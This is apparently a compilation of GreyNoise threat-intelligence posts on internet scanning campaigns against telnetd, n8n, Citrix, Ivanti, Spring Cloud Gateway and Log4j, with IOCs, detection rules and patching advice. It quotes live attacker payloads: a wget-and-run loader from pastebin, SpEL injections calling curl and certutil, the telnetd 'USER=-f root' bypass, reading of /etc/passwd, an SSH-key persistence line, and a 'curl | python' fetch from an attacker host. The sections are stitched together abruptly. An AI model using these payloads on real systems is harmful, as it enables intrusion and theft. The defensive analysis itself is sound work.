Here’s what we think may have happened: advance notification of a trivially exploitable, unauthenticated root-access vulnerability affecting telnet daemons reached parties with the ability to act on it at the infrastructure level. A backbone or transit provider — possibly responding to a coordinated request, possibly acting on their own assessment — implemented port 23 filtering on transit links. The filtering went live on January 14. The public disclosure followed on January 20.

This would explain:

• The timing gap (advance notification → infrastructure response → public disclosure)
• The specificity of the filtering (port 23/TCP, not a general routing change)
• The topology of impact (transit-dependent paths affected, direct-peering paths not)
• The sustained nature (the filter is still in place weeks later)

We can’t prove this. The backbone drop could be entirely coincidental — ISPs have been slowly moving toward filtering legacy insecure protocols for years (ref: Wannacry), and January 14 could simply have been when someone’s change control ticket finally got executed. Correlation, temporal proximity, and a plausible mechanism absolutely do not equal causation.

But the combination of a Tier 1 backbone implementing what appears to be port 23 filtering, followed six days later by the disclosure of a trivially exploitable root-access telnet vulnerability, followed four days after that by a CISA KEV listing, is worth documenting and considering.

What the Post-Drop World Looks Like

The telnet landscape after January 14 shows a recurring sawtooth pattern — periodic spikes followed by troughs (e.g., January 28 at 806K sessions, then January 30 at 191K). This could indicate intermittent filter application, routing flaps around the filtering infrastructure, or scanner campaigns that happen to use paths not affected by the filter.

The weekly averages tell the sustained story:

We’re now operating at roughly a third of the pre-drop baseline, and the trend is still slightly downward.

Practical Implications

If you’re running GNU Inetutils telnetd anywhere — and given the 11-year window, there are plenty of embedded systems, network appliances, and legacy Linux installations where it’s still likely present — patch to version 2.7-2 or later, or disable the service entirely. The CISA KEV remediation deadline for federal agencies is February 16, 2026. As noted, GreyNoise observed exploitation attempts within hours of disclosure and the campaign peaked at ~2,600 sessions/day in early February before tapering off.

If you’re a network operator and you haven’t already filtered port 23 at your border, the backbone-level filtering we’ve documented here suggests the industry is moving in that direction regardless. Someone upstream of a significant chunk of the internet’s transit infrastructure apparently decided telnet traffic isn’t worth carrying anymore. That’s probably the right call.

If you know anything about this (or was the brave soul who implemented it), drop us a line at research@greynoise.io.

Overview

During the week of January 31 - February 7, 2026, GreyNoise sensors observed 3,979 HTTP sessions from 245 unique IP addresses containing callbacks to Interactsh OAST (Out-of-band Application Security Testing) domains. The activity generated 3,707 unique OAST domains spanning 82 distinct campaign identifiers, indicating numerous independent scanning operations rather than coordinated infrastructure.

Analysis employed JA4T+JA4H fingerprint clustering, OAST domain decoding, and GreyNoise IP enrichment to characterize the scanning landscape. Key findings include:

• Hosting Infrastructure Dominance: Top ASNs include RouterHosting LLC (AS14956, 1,084 sessions), Cloudflare (AS13335, 651 sessions), and netcup GmbH (AS214996, 545 sessions)
• Scanner Identification: MSS value analysis reveals 1,341 sessions (33.7%) exhibit the anomalous MSS 65495 fingerprint characteristic of Nuclei scanner deployment
• CVE Targeting: 196 distinct vulnerability tags observed, with Apache Log4j RCE (CVE-2021-44228) accounting for 1,090 attempts (27.4% of total activity)
• Malicious Classification: GreyNoise classifies 19 of 20 top source IPs as “noise,” with established reconnaissance infrastructure dating back to November 2025

The distributed nature of campaigns, absence of IP overlap between major campaigns, and heterogeneous fingerprint patterns indicate independent security testing operations rather than coordinated threat actor infrastructure.

Temporal Analysis

Activity exhibited consistent volume across the analysis period with notable variations:

Temporal Anomaly - February 6: A single day spike to 214 unique IPs (vs. baseline 6-12) occurred on February 6, driven by campaign 01p6c which recorded 204 unique IPs targeting a single OAST domain. This pattern suggests either: 1. A shared/reused OAST domain from prior scanning that triggered callbacks from cached payloads 2. Mass exploitation attempt using a common callback infrastructure

Hourly analysis reveals burst patterns concentrated in specific time windows: - Jan 31, 15:00 UTC: 273 sessions (single campaign burst) - Jan 31, 22:00 UTC: 135 sessions (campaign concentration) - Feb 1, 15:00 UTC: 112 sessions (sustained scanning window)

No consistent diurnal pattern emerged, suggesting globally distributed scanning infrastructure operating across multiple timezones.

Campaign Analysis

The 82 identified campaigns exhibit high heterogeneity, with most representing single-IP operations. Top campaigns by volume:

Infrastructure Fingerprinting

Payload Analysis

GreyNoise tag analysis reveals broad-spectrum vulnerability reconnaissance targeting 196 distinct vulnerability classes:

GreyNoise Enrichment Analysis

GreyNoise multi-IP check on top 20 source IPs revealed:

• 19/20 classified as “noise” (active Internet scanners)
• 0/20 identified as common business services (not CDN/legitimate traffic)
• 1/20 no classification (38.55.192.204 - potentially new infrastructure)

Attribution Assessment

Confidence: Low

The distributed, heterogeneous nature of observed activity precludes meaningful threat actor attribution. Evidence suggests:

Network IOCs

[subdomain].oast.pro

JA4T: 65495_2-4-8-1-3_65495_7
JA4H: ge11nr17${jn_8062e975b6e7_*

JA4T: 64240_2-4-8-1-3_1460_7
JA4H: ge11nn020000_1af9d02f0bf7_*
JA4H: po11nn060000_4ea4093e6290_*
JA4H: ge10nn010000_4a823118b9ba_*

JA4T: 65535_2-4-8-1-3_1380_13
JA4H: po11nn08en00_9cf61e78b7a7_*

Detection Recommendations

1. Monitor for Interactsh OAST callbacks in outbound DNS and HTTP traffic. Alert on requests to *.oast.pro, *.interact.sh, and *.burpcollaborator.net domains originating from internal production systems (exception: authorized security testing).

2. JA4 fingerprint detection for Nuclei scanner identification:

   • Alert on JA4T fingerprint 65495_2-4-8-1-3_65495_7
   • Correlate with OAST callbacks for high-confidence reconnaissance detection

3. Prioritize patching for top targeted CVEs:

   • CVE-2021-44228 (Log4Shell) - 1,090 attempts observed
   • CVE-2023-47246 (pfSense pfBlockerNG) - 136 attempts
   • CVE-2024-12987 (Draytek Vigor) - 126 attempts
   • CVE-2022-26134 (Atlassian Confluence) - 57 attempts

4. ASN-based rate limiting for hosting providers exhibiting malicious classification:

   • AS14956 (RouterHosting LLC)
   • AS214996 (netcup GmbH)
   • AS210083 (Privex Inc.)
   • Consider geo-blocking or aggressive rate limiting for non-business-critical origins

5. WAF rules for OAST injection patterns:

   • Block requests containing ${jndi:ldap:// (Log4j)
   • Block requests with .oast.pro, .interact.sh in headers, body, or query parameters
   • Alert on ${IFS} command injection attempts

6. February 6 anomaly investigation: Organizations with traffic to/from the 204 IPs in campaign 01p6c should investigate for cached exploitation attempts. The spike suggests prior vulnerability with delayed OAST callbacks.

GNQL Queries

Monitor recent OAST callback activity:

tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d

Track Nuclei scanner deployment (MSS 65495):

metadata.ja4.tcp:"65495_2-4-8-1-3_65495_7" last_seen:7d

Investigate top malicious ASNs:

metadata.asn:AS14956 last_seen:7d

metadata.asn:AS214996 last_seen:7d

metadata.asn:AS13335 tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d

Log4j targeting IPs:

tags:"Apache Log4j RCE Attempt" tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d

Cloudflare-hosted scanners:

metadata.asn:AS13335 classification:malicious last_seen:7d

New/emerging scanning infrastructure (Feb 3+ first seen):

tags:"Generic Contains Well-known Out-of-band Interaction Domain" first_seen:>2026-02-03

Campaign snapshot

The Kubernetes twist

Censys lookups on the top 10 source IPs returned consistent Kubernetes infrastructure across all nodes:

All nodes run Debian 12 “Bookworm” with OpenSSH 9.2p1. The Envoy proxy presence indicates a service mesh deployment—likely Istio, Linkerd, or Consul Connect.

Operational implications:

1. Rapid scalability. Containerized scanning tools deploy and destroy in seconds across 375+ IPs.
2. Cost efficiency. Short-lived containers minimize infrastructure costs.
3. Operational security. Container isolation complicates attribution and forensics.
4. Multi-campaign support. A single cluster can run multiple concurrent scanning operations.

The exposed kubelet API on port 10250 is worth noting—if unauthenticated, it enables full node compromise. Whether Bucklog SARL is aware their infrastructure is being used this way remains an open question.

Attack methodology

Dictionary-based path enumeration with uniform request distribution: 67-69 requests per path across the target set. Automated tooling cycling through a predefined wordlist.

Top probed paths:

• /webhook/upload
• /webhook/api/file
• /webhook/backup
• /webhook/import
• /webhook/internal/import
• /webhook/admin/upload
• /webhook/documents
• /webhook/blob
• /webhook/storage

Pattern: file upload, document processing, and administrative import functions—paths most likely to accept arbitrary file uploads or expose path traversal vulnerabilities.

n8n CVE-2026-21858 targeting

Forty sessions used a n8n-scanner/1.0 user agent—a specialized tool for probing n8n workflow automation platforms. The campaign targeted CVE-2026-21858, an arbitrary file access vulnerability in n8n webhook handlers that allows path traversal via malformed multipart/form-data requests.

Attack samples showed rapid-fire sequencing (one request per second) against n8n-specific endpoints:

• /webhook/internal/import
• /webhook/user/upload
• /webhook/admin/upload
• /webhook/admin/import
• /webhook/bulk
• /webhook/v1/files

The /proc filesystem probing (28,756 tag hits for “Generic /proc Enumeration Attempt”) suggests post-exploitation planning. Successful path traversal would enable access to /proc/self/environ (environment variables), /proc/self/cmdline (command-line arguments), and /proc/net/tcp (network connections)—all useful for credential harvesting and lateral movement.

Tooling signatures

Consistent tooling fingerprints across 95%+ of traffic:

JA4H HTTP fingerprints:

Two curl variants account for 86.5% of traffic. The po11 prefix indicates POST requests with 11 header fields—consistent with curl defaults.

JA4T TCP fingerprint:

The dominant fingerprint appeared in 95.9% of sessions and maps to Linux kernel 4.x+ with default curl TCP stack behavior and standard Ethernet MTU.

JA4T 95.9% consistency + curl 97.4% coverage = minimal tooling diversity across the IP range. It’s almost certainly the same actor, using the same infrastructure and same exact tooling.

Temporal pattern

Activity concentrated in a narrow window on February 3:

• 13:00–14:00 UTC: 3,496 sessions (70%)
• 14:00–15:00 UTC: 1,504 sessions (30%)

Coordinated infrastructure spinup at 13:00 UTC, peak operations in the first hour, controlled teardown. Ephemeral container deployments minimize operational footprint and cost.

Attribution assessment

Confidence: Medium

Three scenarios:

1. Adversary-rented Kubernetes infrastructure (most likely). Threat actor renting Bucklog’s Kubernetes-as-a-Service for scanning operations. The service mesh deployment indicates sophisticated container orchestration.

2. Compromised customer cluster (less likely). A Bucklog customer’s Kubernetes deployment weaponized by attackers. The exposed kubelet API makes this possible, but the professional deployment suggests intentional setup.

3. Bucklog internal operations (highly unlikely). Contradicted by malicious tag classifications and unlikely operational practices.

Indicators of compromise

Network indicators:

Targeted paths:

• /webhook/upload, /webhook/api/file, /webhook/import
• /webhook/admin/upload, /webhook/internal/import
• /webhook/v1/*, /webhook/v2/*

Defensive recommendations

Immediate actions:

1. Block AS211590 at the perimeter, specifically 185.177.72.0/24.
2. Audit webhook implementations for path traversal vulnerabilities.
3. Patch n8n installations against CVE-2026-21858.
4. Monitor for n8n-scanner/1.0 user agent.

Detection rules:

• Alert on POST requests to /webhook/* paths exceeding 50 requests/hour from a single source.
• Flag curl user agents systematically probing file upload endpoints.
• Monitor for /proc/ filesystem references in HTTP request paths.

Webhook hardening:

• Implement strict input validation on multipart/form-data uploads.
• Require authentication on administrative webhook endpoints.
• Rate-limit webhook endpoints per source IP.
• Isolate webhook handlers with restricted egress.

What’s next

The reconnaissance phase appears complete. Based on historical attack progression, we expect exploitation attempts within 7–14 days targeting any vulnerable endpoints identified during this sweep.

We’re continuing to track AS211590 for emerging campaigns. The Kubernetes infrastructure suggests this operator isn’t going anywhere—the cluster likely supports multiple concurrent scanning efforts beyond webhook targeting.

If you’re running n8n in production, now’s the time to audit those webhook configurations. The scanner already knows where to look.

Two Campaigns, One Target

Both campaigns fully activated just before February 1st and almost exclusively targeted Citrix infrastructure. They had complementary objectives of both finding login panels, and enumerating versions which suggests coordinated reconnaissance.

The Residential Proxy Problem

A single Microsoft Azure Canada IP generated 39,461 sessions (36% of all login panel traffic) using the Prometheus blackbox-exporter user agent. While user agents can be and are regularly spoofed, they are also both easy to spot and easy to block.

But the remaining traffic came from residential ISPs across Vietnam, Argentina, Mexico, Algeria, Iraq, and a dozen other countrie, with one session per IP. This is classic residential proxy rotation, and each IP uses a unique browser fingerprint and enables cycling of both addresses and user agent strings. These IPs bypass geographic blocking and reputation filtering because they’re legitimate consumer ISP addresses (and organizations are very reticent to shut out potential customers).

The 6-Hour Version Sprint

The Version Disclosure component is more concerning from a “what comes next” perspective. On February 1st, 10 AWS IPs fired off 1,892 requests targeting the Citrix Endpoint Analysis setup file in a concentrated 6-hour window:

• 00:00 UTC: 192 sessions (start)
• 02:00 UTC: 362 sessions (peak)
• 05:00 UTC: 283 sessions (end)

All 10 sources used an identical Chrome 50 user agent (circa 2016) and shared uniform HTTP fingerprint characteristics. The rapid onset and completion suggests a targeted scanning sprint that may have been triggered by discovery of vulnerable EPA configurations or intelligence about deployment windows.

What TCP Fingerprints Reveal

Without getting into raw signatures, the TCP-layer analysis exposes infrastructure separation:

Azure Scanner: The dominant Azure source shows VPN/tunnel nested encapsulation with a reduced MSS (62 bytes below standard). The operator routes scanning traffic through additional network layer, demonstrating a focus on operational security, or at least operational awareness.

Residential Proxies: The distributed residential traffic shows Windows TCP stack characteristics (maximum 16-bit window size) routing through Linux-based proxy infrastructure; Windows client => Linux proxies.

AWS Version Scanners: The version disclosure sources show jumbo frame MSS values—45x larger than standard Ethernet allows. This configuration requires datacenter switching infrastructure with 9,000+ byte MTU support. It’s physically impossible on consumer networks, confirming exclusive datacenter hosting.

Despite different infrastructure types, all fingerprints share identical TCP option ordering, which is an indicator of common tooling or framework underneath the operational compartmentalization.

Pre-Attack Indicators

This reconnaissance activity likely represents infrastructure mapping before exploitation. The specific targeting of the EPA setup file path suggests interest in version-specific exploit development or vulnerability validation against known Citrix ADC weaknesses.

Detection opportunities:

• Monitor for blackbox-exporter user agent from non-authorized sources
• Alert on external access to /epa/scripts/win/nsepa_setup.exe
• Flag rapid /logon/LogonPoint/ enumeration patterns
• Watch for HEAD requests to Citrix Gateway endpoints
• Track outdated browser fingerprints (Chrome 50 from 2016)

Defensive recommendations:

• Review external Citrix Gateway exposure; validate business need for internet-facing deployments
• Implement authentication requirements for /epa/scripts/ directory
• Configure Citrix Gateways to suppress version disclosure in HTTP responses
• Flag access anomalies from residential ISPs in unexpected regions

IOCs

Primary IPs (Version Disclosure - AWS):

• 44.251.121.190, 13.57.253.3, 50.18.232.85, 52.36.139.223, 54.201.20.56
• 54.153.0.164, 54.176.178.13, 18.237.26.188, 54.219.42.163, 18.246.164.162

Primary IP (Login Panel - Azure):

• 52.139.3.76

GreyNoise Tags:

• Citrix ADC Gateway Login Panel Crawler
• Citrix Netscaler Gateway Version Disclosure

Organizations running internet-facing Citrix infrastructure should treat this activity as a pre-attack signal. The 79% targeting rate isn’t mere “noise”. Someone is almost certainly building a target list.

Overview

Between January 24 and January 31, 2026, the GreyNoise Global Observaton Grid cataloged 6,752 scanning sessions from 58 unique IP addresses embedding 5,531 distinct Out-of-band Application Security Testing (OAST) callback domains across 48 identified campaigns. The activity represents coordinated vulnerability reconnaissance targeting enterprise applications, IoT devices, and cloud infrastructure.

Key Indicators:

• 5,531 OAST domains decoded from 28 unique machine identifiers
• Anomalous TCP fingerprints (MSS 65495) observed in 11.8% of traffic
• Multiple high-severity CVE exploits including WebLogic RCE, Java deserialization, and React prototype pollution
• Sustained campaign activity spanning 3.6 weeks (earliest OAST timestamp: 2026-01-05)

Infrastructure Analysis

JA4T: 64240_2-4-8-1-3_1460_7

JA4T: 33280_2-4-8-1-3_65495_7

JA4T: 65495_2-4-8-1-3_65495_7

OAST Campaign Analysis

Decoded 5,531 OAST domains revealing 48 distinct campaigns across 28 unique machine IDs.

Exploit Analysis

process.mainModule.require('child_process').execSync(
  'cd /tmp;wget -O run.sh https://pastebin.com/raw/9GEqrAq5;
   chmod +x run.sh;setsid sh run.sh < /dev/null > /dev/null 2>&1 &'
)

Temporal Analysis

Historical Context & Campaign Lifecycle

Attribution & Threat Actor Assessment

Recommendations

# Anomalous MSS detection
alert tcp any any -> any any (msg:"Anomalous MSS 65495 - Custom Scanner"; \
  tcp.mss: 65495; sid:1000001;)

# OAST domain pattern
alert dns any any -> any 53 (msg:"Interactsh OAST Callback"; \
  dns.query; content:".oast."; sid:1000002;)

rule Pastebin_9GEqrAq5_Malware_Loader {
  strings:
    $url = "pastebin.com/raw/9GEqrAq5"
    $wget = "wget -O run.sh"
  condition:
    any of them
}

Conclusion

This analysis documents a multi-week reconnaissance campaign leveraging sophisticated OAST techniques across 48 distinct sub-campaigns. While the activity is noisy and detectable, the scale (5,531 callback domains), infrastructure diversity (28 machines), and exploit breadth indicate an organized operation.

The use of anomalous TCP fingerprints (MSS 65495) provides a high-confidence detection opportunity for defensive teams. Organizations should prioritize patching the identified CVEs and implementing OAST callback monitoring.

Campaign 1: The AS213790 Cluster

The higher-volume campaign concentrated in AS213790, operated by Limited Network LTD. This provider has appeared in previous reconnaissance campaigns—familiar territory for threat hunters.

The geographic footprint is clustered in Romania and Moldova. Over the observation window, this campaign generated:

• 34,172 total sessions
• Peak rate of 1,310 requests/hour
• Aggressive burst patterns

The infrastructure choice suggests operators are comfortable with “noisy” providers that tolerate scanning traffic. The burst pattern indicates automated tooling running hot—someone’s racing to enumerate targets before patches deploy.

(Side note: AS213790 showing up again is the network equivalent of that one neighbor’s car alarm. At some point, you stop being surprised.)

Campaign 2: The Distributed Approach

The second campaign took the opposite approach. Roughly 6,000 unique IPs participated, spread across multiple ASNs and geographies. No single provider dominated the traffic.

This distribution pattern is consistent with:

• Botnet infrastructure – compromised hosts providing scanning capacity
• Residential proxy networks – purchased access to legitimate-appearing IPs
• Multi-cloud deployment – spinning up instances across providers to avoid concentration

The pacing stayed lower and steadier than Campaign 1. This isn’t operators who want speed—it’s operators who want to avoid detection.

Comparing the Campaigns

Are these the same actor with different tooling, or competing groups targeting the same vulnerability? Both scenarios are plausible. The timing overlap—both campaigns active across the same week—could indicate coordination or simply shared awareness of a high-value target.

The Target: CVE-2025-0282

The campaigns converge on /dana-na/auth/url_default/welcome.cgi, the pre-exploitation version-check endpoint associated with CVE-2025-0282. With an EPSS score of 93.05%, this vulnerability ranks near the top of exploitability rankings. CVE-2025-0283 (EPSS: 0.18%) affects the same product but hasn’t generated the same level of interest.

The EPSS differential makes sense. Attackers prioritize vulnerabilities with proven exploitation paths. A 93% score signals that weaponization is either available or imminent.

Defender Takeaways

The infrastructure analysis reinforces what the volume already suggested: this is serious reconnaissance activity, not background noise.

1. Patch status matters now. CVE-2025-0282 exploitation is a matter of when, not if.
2. Log review should include the target path. External requests to /dana-na/auth/url_default/welcome.cgi deserve scrutiny.
3. Network exposure deserves reassessment. Every internet-facing Ivanti instance is potentially on a target list.

Ongoing Monitoring

We’re continuing to track both campaigns. As infrastructure patterns stabilize, we’ll publish IOCs for defenders to operationalize.

If you’re seeing hits against this endpoint in your environment, drop us a line. Collective visibility makes everyone’s picture clearer.

Overview

GreyNoise sensors captured extensive scanning activity targeting web application vulnerabilities with Out-of-band Application Security Testing (OAST) callback domains embedded in exploit payloads. The activity spanned seven days with peak concentration on January 19 (3,548 sessions from 13 IP addresses), indicating a shift from distributed reconnaissance to focused exploitation attempts.

Fingerprint analysis revealed two distinct infrastructure patterns: standard Linux-based scanning (JA4T: 64240_2-4-8-1-3_1460_7, matched to WSL Ubuntu 22.04 in the JA4 database) and anomalous TCP configurations (JA4T: 65495_2-4-8-1-3_65495_7 and 33280_2-4-8-1-3_65495_7) with non-standard Maximum Segment Size values suggesting custom tooling.

OAST domain extraction and decoding produced 5,171 unique callback domains across six Interactsh providers (oast.site, oast.live, oast.me, oast.pro, oast.fun, oast.online), with campaign identifiers revealing 425 separate scanning operations. The top campaign (“nualr”) generated 1,450 unique OAST domains, while the second-largest (“or3ki”) produced 270 domains.

Infrastructure analysis indicates VPS and bulletproof hosting provider concentration, with the top source IP (146.70.116.218, AS9009 M247 Europe SRL, Austria) responsible for 41.8% of all observed sessions.

Temporal Analysis

The temporal distribution reveals a classic three-phase pattern: initial distributed reconnaissance (Jan 17), scaling exploitation (Jan 18-19), and sustained lower-volume activity (Jan 20-23). The sharp concentration on January 19 with only 13 source IPs generating 3,548 sessions indicates a transition from broad scanning to focused exploitation infrastructure.

Primary Campaign Analysis

Payload Analysis

Exploit Pattern Examples:

Spring Cloud Gateway attempts use variations of:

/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://[OAST-DOMAIN]")}__::.x/
/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://[OAST-DOMAIN]")}__::.x/

Keycloak exploitation follows redirect patterns:

/realms/master/protocol/openid-connect/auth?redirect_uri=http://[OAST-DOMAIN]

Additional exploitation vectors identified: - Command injection: /ddns_check.ccp with curl https://[OAST-DOMAIN] in parameters - XML external entity (XXE): /sitecore/shell/ClientBin/Reporting/Report.ashx with LDAP OAST callbacks - Directory traversal with command execution: /misc/curl${IFS}[OAST-DOMAIN]/..;/index.html

All payloads demonstrate callback verification strategy - attackers use OAST domains to detect successful exploitation when direct response observation is not reliable.

Infrastructure Analysis

Attribution Assessment

Confidence: Medium

Evidence for coordinated operations:

• 425 distinct OAST campaign identifiers decoded from callback domains
• Consistent targeting of Spring Cloud Gateway across multiple fingerprint clusters
• Shared OAST provider infrastructure (Interactsh) across campaigns
• Temporal clustering suggests campaign coordination or shared tasking

Evidence for distinct operators:

• Wide variance in JA4T+JA4H fingerprint combinations (215 unique pairings)
• Different machine IDs in OAST decoded data (indicating separate scanning instances)
• Geographic and ASN distribution suggests distributed infrastructure rather than single operator
• Mixed use of standard Linux fingerprints (WSL Ubuntu) and anomalous TCP stacks

Assessment:

This activity likely represents multiple threat actors or scanning operations using similar tooling (likely Interactsh-based vulnerability scanners). The anomalous MSS=65495 fingerprint may indicate a specific commercial or open-source scanning tool with custom network configuration, deployed by multiple operators. The concentration in VPS/bulletproof hosting infrastructure is consistent with opportunistic scanning campaigns rather than targeted intrusions.

The decoded OAST campaign identifiers suggest at least 425 separate scanning instances, though many may be retrying operations or parallel scanning from the same infrastructure. The top three campaigns (nualr, or3ki, mmr8b) account for 1,878 domains (36.3% of decoded OAST callbacks) and likely represent the most active operators.

Network IOCs

65495_2-4-8-1-3_65495_7  # Anomalous MSS - 4,012 sessions
33280_2-4-8-1-3_65495_7  # Anomalous MSS - 279 sessions
64240_2-4-8-1-3_1460_7   # Standard MSS but high volume - 1,385 sessions

po11nn060000_4ea4093e6290_*  # 3,377 sessions
ge11nn06en00_0e5d97bc8ad6_*  # 917 sessions
ge11nn040000_8391bea91fb6_*  # 471 sessions
ge11nn040000_532a1ee47909_*  # 371 sessions

Detection Recommendations

1. Block or alert on source IPs associated with AS9009, AS200019, AS27176, AS150654 when combined with OAST callback patterns (see Network IOCs section for full list).

2. Monitor for JA4T fingerprints with MSS=65495 - this anomalous value is rare in legitimate traffic and strongly correlated with scanning activity in this dataset. Network defenders should create alerts for TCP connections with this characteristic MSS value.

3. Implement JA4 fingerprint-based detection rules for the top 5 JA4T+JA4H combinations listed in Infrastructure Analysis. These fingerprints account for 4,701 sessions (52.2% of total activity).

4. Prioritize patching Spring Cloud Gateway vulnerabilities - this framework represents the primary target across observed campaigns. Organizations running Spring Cloud Gateway should audit versions and apply available security updates.

5. Patch Keycloak CVE-2024-8883 if using affected versions - while lower volume, this vulnerability was actively scanned and represents a viable attack vector for authentication bypass.

6. Implement DNS monitoring for Interactsh OAST domains - all six Interactsh providers (oast.site, oast.live, oast.me, oast.pro, oast.fun, oast.online) were observed. Outbound DNS queries or HTTP connections to these domains from internal infrastructure indicate potential successful exploitation.

7. WAF rules for OAST callback patterns - implement detection for URL-encoded OAST domain patterns in HTTP parameters, particularly in Spring Cloud Gateway endpoints (/hystrix/*) and authentication flows.

8. Alert on command injection payloads with curl, certutil, wget, or similar download utilities followed by external domain names in web request parameters.

9. Monitor for LDAP OAST callback attempts - some payloads use LDAP protocol for out-of-band callbacks (ldap://[OAST-DOMAIN]/), particularly in XXE exploitation attempts.

10. Implement rate limiting on vulnerable endpoints - the high session volume from individual IPs (3,766 from a single source) demonstrates lack of rate limiting as a contributing factor.

GNQL Queries

Investigate similar activity in GreyNoise:

tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d
tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d

tags:"Spring Cloud Gateway Code Injection Attempt" last_seen:7d

metadata.asn:AS9009 last_seen:7d

metadata.asn:(AS9009 OR AS200019 OR AS27176 OR AS150654) tags:"Contains Well-known Out-of-band Interaction Domain"
metadata.asn:(AS9009 OR AS200019 OR AS27176 OR AS150654) tags:"Generic Contains Well-known Out-of-band Interaction Domain"

raw_data.ja4_fingerprints.ja4t:65495_2-4-8-1-3_65495_7

tags:"Keycloak Open Redirect CVE-2024-8883 Check" last_seen:30d

Analysis Period: January 17-23, 2026 (7 days)
Data Source: GreyNoise Global Observation Grid
Total Sessions: 9,004
Unique Source IPs: 313
Decoded OAST Domains: 5,171

Mandatory (Boring, But Informative) Executive Summary

Analysis of the combined sessions reveals a coordinated exploitation campaign targeting Telnet services (TCP/23) using the Inetutils Telnetd -f authentication bypass vulnerability. The attack leverages a command injection flaw in the Telnet daemon’s handling of environment variables, specifically the USER environment variable with the -f flag to bypass normal authentication mechanisms.

Key Findings:

• 18 unique attacker source IPs conducted 60 exploitation attempts
• All traffic is Telnet protocol (TCP/23) - 100% malicious
• Multiple payload variants indicate diverse attacker tooling/configurations
• Post-exploitation activities include system reconnaissance, SSH key persistence, and malware deployment attempts
• Campaign shows characteristics of both opportunistic scanning and targeted follow-up exploitation

Traffic Overview

Thankfully, there were only a few attackers desperate enough to try to claim the rights to those ~3K systems Censys shows. This is the extent of the activity as of this penned post:

Total Packets:     1,525
Total Bytes:       104,025 bytes (101.6 KB)
Telnet Frames:     712 (46.7% of total packets)
TCP Conversations: 60 unique sessions

• First Activity: 2026-01-21 07:19:15 (38.145.220.204)
• Last Activity: 2026-01-22 04:08:41 (178.16.53.82)
• Peak Activity: Multiple bursts from 178.16.53.82 (12 sessions)

We ran the packets through a series of spelunks in tshark and Suricata (with a fairly bland set of rules since our own rules caught the attempt in the fleet).

Since a couple attackers did manage to violate those vulnerable systems, Suri picked up on it right away:

Alert Signature: GPL ATTACK_RESPONSE id check returned root
Category:        Potentially Bad Traffic
Severity:        Medium (2)
Trigger:         Response indicating successful root access
Flow ID:         1181824199682214 (156.238.237.103 → 8.XX.XX.XX.XX:23)

We’ll get to the exploits in a moment, but we do need to set up some baseline info first…

More Than You Ever Wanted To Know About Initial Access Exploits Over Telnet

Just in case you’re not as obsessed as we are about emergent threats, the Inetutils Telnet daemon contains a critical authentication bypass vulnerability exploitable via the -f flag in the USER environment variable during the Telnet negotiation phase. This allows attackers to skip authentication and gain shell access as an arbitrary user (typically root).

This is the “attack vector” in all its glory:

Telnet Option Negotiation (IAC SB) →
  ENVIRON variable injection →
    USER=-f <username> →
      Authentication bypass →
        Direct shell access

NOTE: We’re going to use more than a few “Telnet” wonk terms so please keep RFC 854 handy in a tab or PDF viewer. Honestly, a few of the attackers should have done that as well.

All observed payloads follow the Telnet IAC ““Interpret As Command”) negotiation format embedding the malicious USER variable:

[Telnet IAC negotiations]
[Terminal speed: 9600,9600 or 38400,38400 or 0,0]
[Terminal type: XTERM-256COLOR / xterm-256color / screen-256color / UNKNOWN]
USER.-f <target_user>
[Optional: DISPLAY variable for X11]

The -f flag forces the Telnet daemon to treat the connection as pre-authenticated for the specified user.

On to the exploits!

Attacker Source Analysis & Unique Payloads

(Feel free to jump down to “Payload Taxonomy” which summarises these initial access config details. We won’t mind.)

Terminal: 9600,9600 baud
Environment: USER.-f root
Terminal Type: XTERM-256COLOR (uppercase)

.. .9600,9600....'..USER.-f root......XTERM-256COLOR..

uname -a;id;cat /proc/cpuinfo;cat /etc/passwd;
echo -n S;echo -n U$(uname -a)EU;echo blah$(hostname -f)blah;uname -a;id;cat /proc/cpuinfo;cat /etc/passwd;

Terminal: 38400,38400 baud
Environment: USER.-f root
Terminal Type: UNKNOWN (unrecognized terminal)

.. .38400,38400....'..USER.-f root......UNKNOWN..

# SSH Key Persistence Attempt
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC760bkQm5qeRZ6bgXfbUIKFcJF7ef6fB
1Ee+3KJJkmefYCtjYXKtAGn17cLJ6IzONHM/sRe7XqnkgD0J/pLSWKeDwaaQq9+u/6xFV48VbZtdVc
Ht4zOwLUBGnh1zaE4YoEWzCwtY33pldX9BKINJDRRFTPjjr6+Z1u00e+IWe2rQZ9qzGBriunNTCqRh
eopcM4NFOdoce2/JLT6m046lTg7te/fUwwZNPj8lXGX7gcc5X7UblmkzeUKvVhOknmxAd55IyhQZdL
8Aro0/RC8GEHIu1uDgGBrZXxX6Nef4g9/kRb0A7AhCAwadMwjqObKd/t7mbbqsjz53nx+6/tHoQaAA
XDBJu0pAm/hZM5KRUxwFLrX8+2lLPa7LOYgbO6FlMz/yYPnrae8ZGRuog/82y7pZtS37Ce5z3C2PBd
ZCqubT884R2VwELuL7VJIER2t8xsj8QlYA0sOWzOGhS3i/UU2c2iISe0rXEhWHI1efV9m3TBs3pguy
ujkOeW2M8KfCs= root@s51865.vps.hosting' >> ~/.ssh/authorized_keys

# Malware Deployment Attempt
nohup curl -fsSL http://XX.XX.XX.XX:8000/apps.py | python - XX.XX.XX.XX_ > /dev/null &

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................* (with trailing asterisk padding)

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................*

Terminal: 0,0 baud (no speed negotiation)
Variant A: USER.-f nobody
Variant B: USER.-f daemon
Terminal Type: xterm-256color (lowercase)

Terminal: 0,0 baud
USER.-f nobody
USER.-f daemon
USER.-f nonexistent123
Terminal Type: xterm-256color

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root......XTERM..

Terminal: 38400,38400 baud
USER.-f root
Terminal Type: UNKNOWN

203.155.222.145 (2 sessions, 2 targets)

Payload Variants (2):

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................*

There is literally nothing more to say about this one. They might as well have not even bothered wasting the bandwidth.

